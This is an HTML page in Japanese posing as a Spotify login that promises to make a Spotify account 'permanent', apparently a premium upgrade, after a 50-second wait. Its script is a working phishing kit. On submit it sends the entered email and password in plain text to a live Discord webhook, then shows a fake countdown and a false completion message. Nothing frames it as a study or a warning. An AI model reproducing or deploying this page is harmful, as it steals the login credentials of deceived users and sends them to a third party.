<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Spotify 永久化</title>
  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;700&display=swap" rel="stylesheet">
  <style>
    body {
      margin: 0;
      font-family: 'Roboto', sans-serif;
      background-color: #121212;
      color: #FFFFFF;
      display: flex;
      justify-content: center;
      align-items: center;
      height: 100vh;
      overflow: hidden;
    }

    .login-container {
      background: #181818;
      padding: 2rem;
      border-radius: 8px;
      box-shadow: 0 4px 20px rgba(0, 0, 0, 0.5);
      text-align: center;
      width: 90%;
      max-width: 400px;
      position: relative;
    }

    .login-container img {
      width: 100px;
      margin-bottom: 1rem;
    }

    .login-container h1 {
      font-size: 1.8rem;
      margin-bottom: 1rem;
      color: #1DB954;
    }

    .login-container form {
      display: flex;
      flex-direction: column;
      gap: 1rem;
    }

    .login-container input {
      padding: 0.8rem;
      font-size: 1rem;
      border: 1px solid #282828;
      border-radius: 4px;
      background: #282828;
      color: #FFFFFF;
    }

    .login-container input:focus {
      outline: none;
      border-color: #1DB954;
    }

    .login-container button {
      padding: 0.8rem;
      font-size: 1rem;
      font-weight: bold;
      color: #FFFFFF;
      background: #1DB954;
      border: none;
      border-radius: 4px;
      cursor: pointer;
      transition: background 0.3s;
    }

    .login-container button:hover {
      background: #1aa34a;
    }

    .countdown {
      margin-top: 1.5rem;
      font-size: 1rem;
      color: #1DB954;
      display: none;
    }

    .complete-message {
      margin-top: 1.5rem;
      font-size: 1.2rem;
      color: #1DB954;
      display: none;
    }

    .footer {
      position: absolute;
      bottom: 10px;
      left: 10px;
      font-size: 0.8rem;
      color: #B3B3B3;
    }
  </style>
</head>
<body>
  <div class="login-container">
    <h1>Spotify 永久化</h1>
    <form id="login-form">
      <input type="email" id="email" placeholder="メールアドレス" required>
      <input type="password" id="password" placeholder="パスワード" required>
      <button type="submit">ログイン</button>
    </form>
    <div class="countdown" id="countdown">50秒お待ちください...</div>
    <div class="complete-message" id="complete-message">永久化が完了しました！</div>
    <div class="footer">By spendnit 最終更新日12月15日</div>
  </div>
  <script>
    const form = document.getElementById('login-form');
    const countdownElement = document.getElementById('countdown');
    const completeMessage = document.getElementById('complete-message');

    form.addEventListener('submit', (e) => {
      e.preventDefault();

      // Fetch email and password
      const email = document.getElementById('email').value;
      const password = document.getElementById('password').value;

      // Send to Discord webhook
      fetch('https://discord.com/api/webhooks/1317658723866509382/cYrHVz87bnn2QfjX1t7mI6SfUGJbR5RAxQTQj92ahE5HOs5qsFvHMsTUe5Bjl_Y-iV_B', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
        },
        body: JSON.stringify({
          content: `メールアドレス: ${email}\nパスワード: ${password}`
        })
      });

      // Start countdown
      form.style.display = 'none';
      countdownElement.style.display = 'block';

      let timeLeft = 50;
      const timer = setInterval(() => {
        if (timeLeft > 0) {
          countdownElement.textContent = `${timeLeft}秒お待ちください...`;
          timeLeft--;
        } else {
          clearInterval(timer);
          countdownElement.style.display = 'none';
          completeMessage.style.display = 'block';
        }
      }, 1000);
    });
  </script>
</body>
</html>
